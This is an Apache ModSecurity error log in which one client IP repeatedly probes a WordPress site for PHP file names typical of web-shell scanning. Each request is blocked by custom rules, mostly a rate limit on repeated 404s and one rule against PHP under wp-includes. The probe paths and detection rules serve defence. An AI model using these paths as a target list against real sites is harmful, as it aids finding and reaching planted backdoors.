[Fri Jan 02 20:33:04.711416 2026] [:error] [pid 43358:tid 43369] [client 4.189.161.129:60658] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aVe7AAncbHK9auzvrA9RaQAAAck"]
[Fri Jan 02 20:33:05.930629 2026] [:error] [pid 50186:tid 50202] [client 4.189.161.129:60628] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aVe7AVXqK_iX4f-S70JujQAAAY4"]
[Fri Jan 02 20:33:06.596126 2026] [:error] [pid 50046:tid 50057] [client 4.189.161.129:60616] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aVe7Aizv7fgIiwkQYNCpTQAAAUk"]
[Fri Jan 02 20:33:07.964304 2026] [:error] [pid 63098:tid 63124] [client 4.189.161.129:17422] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aVe7A8ez9k78gUs48kpUAgAAABE"]
[Fri Jan 02 20:33:08.311057 2026] [:error] [pid 50046:tid 50058] [client 4.189.161.129:57779] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/indo.php"] [unique_id "aVe7BCzv7fgIiwkQYNCpUAAAAUo"]
[Fri Jan 02 20:33:09.384656 2026] [:error] [pid 43358:tid 43373] [client 4.189.161.129:45595] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/indo.php"] [unique_id "aVe7BQncbHK9auzvrA9RdAAAAc0"]
[Fri Jan 02 20:33:10.153136 2026] [:error] [pid 43358:tid 43384] [client 4.189.161.129:45583] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/indo.php"] [unique_id "aVe7BgncbHK9auzvrA9RdwAAAdg"]
[Fri Jan 02 20:33:11.275001 2026] [:error] [pid 29316:tid 29319] [client 4.189.161.129:46851] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/indo.php"] [unique_id "aVe7B9fT9ty-7jZmgf-oEQAAAQE"]
[Fri Jan 02 20:33:12.584617 2026] [:error] [pid 29316:tid 29335] [client 4.189.161.129:57739] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aVe7CNfT9ty-7jZmgf-oEwAAARE"]
[Fri Jan 02 20:33:13.613650 2026] [:error] [pid 43358:tid 43361] [client 4.189.161.129:46866] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aVe7CQncbHK9auzvrA9RewAAAcE"]
[Fri Jan 02 20:33:14.291621 2026] [:error] [pid 63098:tid 63112] [client 4.189.161.129:60665] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aVe7Csez9k78gUs48kpUDgAAAAU"]
[Fri Jan 02 20:33:15.445718 2026] [:error] [pid 50186:tid 50191] [client 4.189.161.129:60636] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aVe7C1XqK_iX4f-S70JunQAAAYM"]
[Fri Jan 02 20:33:16.391178 2026] [:error] [pid 63208:tid 63213] [client 4.189.161.129:60670] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVe7DHKLI9INGPLzfndChgAAAMI"]
[Fri Jan 02 20:33:18.374954 2026] [:error] [pid 63208:tid 63231] [client 4.189.161.129:17430] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVe7DnKLI9INGPLzfndCiAAAANQ"]
[Fri Jan 02 20:33:19.675735 2026] [:error] [pid 63100:tid 63168] [client 4.189.161.129:57778] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVe7DzuUXUKd3KTnKl9JNgAAAIc"]
[Fri Jan 02 20:33:20.373667 2026] [:error] [pid 63098:tid 63110] [client 4.189.161.129:57759] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVe7EMez9k78gUs48kpUHgAAAAM"]
[Fri Jan 02 20:33:20.835196 2026] [:error] [pid 63099:tid 63158] [client 4.189.161.129:57755] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aVe7EMmCZokRPYUhzvi3_wAAAFg"]
[Fri Jan 02 20:33:22.037178 2026] [:error] [pid 63098:tid 63118] [client 4.189.161.129:60626] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aVe7Esez9k78gUs48kpUJAAAAAs"]
[Fri Jan 02 20:33:22.758481 2026] [:error] [pid 50046:tid 50049] [client 4.189.161.129:57735] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aVe7Eizv7fgIiwkQYNCpZQAAAUE"]
[Fri Jan 02 20:33:23.748337 2026] [:error] [pid 63098:tid 63131] [client 4.189.161.129:60627] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aVe7E8ez9k78gUs48kpUJgAAABg"]
[Fri Jan 02 20:33:24.311904 2026] [:error] [pid 43358:tid 43361] [client 4.189.161.129:57729] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aVe7FAncbHK9auzvrA9RigAAAcE"]
[Fri Jan 02 20:33:24.957034 2026] [:error] [pid 63100:tid 63173] [client 4.189.161.129:17458] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aVe7FDuUXUKd3KTnKl9JZAAAAIw"]
[Fri Jan 02 20:33:26.592782 2026] [:error] [pid 50186:tid 50205] [client 4.189.161.129:60614] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aVe7FlXqK_iX4f-S70JuvgAAAZE"]
[Fri Jan 02 20:33:27.183275 2026] [:error] [pid 29316:tid 29326] [client 4.189.161.129:57767] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aVe7F9fT9ty-7jZmgf-oOwAAAQg"]
[Fri Jan 02 20:33:27.925948 2026] [:error] [pid 63100:tid 63182] [client 4.189.161.129:45568] [client 4.189.161.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aVe7FzuUXUKd3KTnKl9JZQAAAJU"]
[Fri Jan 02 20:33:28.891209 2026] [:error] [pid 63098:tid 63127] [client 4.189.161.129:45596] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aVe7GMez9k78gUs48kpULQAAABQ"]
[Fri Jan 02 20:33:29.501850 2026] [:error] [pid 63098:tid 63129] [client 4.189.161.129:60644] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aVe7Gcez9k78gUs48kpULwAAABY"]
[Fri Jan 02 20:33:30.005854 2026] [:error] [pid 50046:tid 50063] [client 4.189.161.129:13901] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aVe7Gizv7fgIiwkQYNCpcwAAAU8"]
[Fri Jan 02 20:33:30.447798 2026] [:error] [pid 50046:tid 50067] [client 4.189.161.129:57740] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aVe7Gizv7fgIiwkQYNCpdwAAAVM"]
[Fri Jan 02 20:33:31.163435 2026] [:error] [pid 63208:tid 63223] [client 4.189.161.129:46859] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z.php"] [unique_id "aVe7G3KLI9INGPLzfndCqgAAAMw"]
[Fri Jan 02 20:33:31.753260 2026] [:error] [pid 63208:tid 63230] [client 4.189.161.129:60662] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z.php"] [unique_id "aVe7G3KLI9INGPLzfndCrAAAANM"]
[Fri Jan 02 20:33:32.471046 2026] [:error] [pid 43358:tid 43362] [client 4.189.161.129:57736] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z.php"] [unique_id "aVe7HAncbHK9auzvrA9RkQAAAcI"]
[Fri Jan 02 20:33:33.384094 2026] [:error] [pid 63100:tid 63162] [client 4.189.161.129:46904] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z.php"] [unique_id "aVe7HTuUXUKd3KTnKl9JawAAAIE"]
[Fri Jan 02 20:33:34.193140 2026] [:error] [pid 63208:tid 63211] [client 4.189.161.129:57744] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/123.php"] [unique_id "aVe7HnKLI9INGPLzfndCrgAAAMA"]
[Fri Jan 02 20:33:34.569243 2026] [:error] [pid 63099:tid 63151] [client 4.189.161.129:46908] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/123.php"] [unique_id "aVe7HsmCZokRPYUhzvi4CwAAAFE"]
[Fri Jan 02 20:33:34.992294 2026] [:error] [pid 63208:tid 63234] [client 4.189.161.129:57746] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/123.php"] [unique_id "aVe7HnKLI9INGPLzfndCsQAAANc"]
[Fri Jan 02 20:33:35.665189 2026] [:error] [pid 63208:tid 63214] [client 4.189.161.129:60655] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/123.php"] [unique_id "aVe7H3KLI9INGPLzfndCsgAAAMM"]
[Fri Jan 02 20:33:36.736734 2026] [:error] [pid 63100:tid 63163] [client 4.189.161.129:45597] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file3.php"] [unique_id "aVe7IDuUXUKd3KTnKl9JbgAAAII"]
[Fri Jan 02 20:33:37.568427 2026] [:error] [pid 43358:tid 43365] [client 4.189.161.129:60666] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file3.php"] [unique_id "aVe7IQncbHK9auzvrA9RmQAAAcU"]
[Fri Jan 02 20:33:37.951616 2026] [:error] [pid 63208:tid 63223] [client 4.189.161.129:57757] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file3.php"] [unique_id "aVe7IXKLI9INGPLzfndCvAAAAMw"]
[Fri Jan 02 20:33:38.473071 2026] [:error] [pid 63208:tid 63212] [client 4.189.161.129:17426] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file3.php"] [unique_id "aVe7InKLI9INGPLzfndCvgAAAME"]
[Fri Jan 02 20:33:39.930194 2026] [:error] [pid 63099:tid 63141] [client 4.189.161.129:57738] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media.php"] [unique_id "aVe7I8mCZokRPYUhzvi4EAAAAEc"]
[Fri Jan 02 20:33:40.596191 2026] [:error] [pid 63098:tid 63108] [client 4.189.161.129:17431] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media.php"] [unique_id "aVe7JMez9k78gUs48kpUPwAAAAE"]
[Fri Jan 02 20:33:40.898252 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:46870] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media.php"] [unique_id "aVe7JMez9k78gUs48kpUQwAAAA4"]
[Fri Jan 02 20:33:41.427577 2026] [:error] [pid 50186:tid 50190] [client 4.189.161.129:57742] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media.php"] [unique_id "aVe7JVXqK_iX4f-S70JuxAAAAYI"]
[Fri Jan 02 20:33:41.928817 2026] [:error] [pid 50046:tid 50066] [client 4.189.161.129:57780] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "aVe7JSzv7fgIiwkQYNCpgQAAAVI"]
[Fri Jan 02 20:33:42.592324 2026] [:error] [pid 63100:tid 63174] [client 4.189.161.129:60632] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "aVe7JjuUXUKd3KTnKl9JdQAAAI0"]
[Fri Jan 02 20:33:43.044771 2026] [:error] [pid 29316:tid 29329] [client 4.189.161.129:60668] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "aVe7J9fT9ty-7jZmgf-oRwAAAQs"]
[Fri Jan 02 20:33:43.566915 2026] [:error] [pid 29316:tid 29326] [client 4.189.161.129:46887] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "aVe7J9fT9ty-7jZmgf-oSAAAAQg"]
[Fri Jan 02 20:33:43.958367 2026] [:error] [pid 50186:tid 50210] [client 4.189.161.129:60631] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aVe7J1XqK_iX4f-S70JuxgAAAZY"]
[Fri Jan 02 20:33:45.044718 2026] [:error] [pid 43358:tid 43378] [client 4.189.161.129:57782] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aVe7KQncbHK9auzvrA9RngAAAdI"]
[Fri Jan 02 20:33:45.815356 2026] [:error] [pid 63208:tid 63227] [client 4.189.161.129:45593] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aVe7KXKLI9INGPLzfndCwwAAANA"]
[Fri Jan 02 20:33:46.302335 2026] [:error] [pid 63098:tid 63112] [client 4.189.161.129:57756] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aVe7Ksez9k78gUs48kpUTgAAAAU"]
[Fri Jan 02 20:33:46.754115 2026] [:error] [pid 63099:tid 63146] [client 4.189.161.129:57764] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aVe7KsmCZokRPYUhzvi4FAAAAEw"]
[Fri Jan 02 20:33:47.175720 2026] [:error] [pid 63098:tid 63110] [client 4.189.161.129:13940] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aVe7K8ez9k78gUs48kpUUAAAAAM"]
[Fri Jan 02 20:33:47.633724 2026] [:error] [pid 50186:tid 50211] [client 4.189.161.129:60634] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aVe7K1XqK_iX4f-S70JuygAAAZc"]
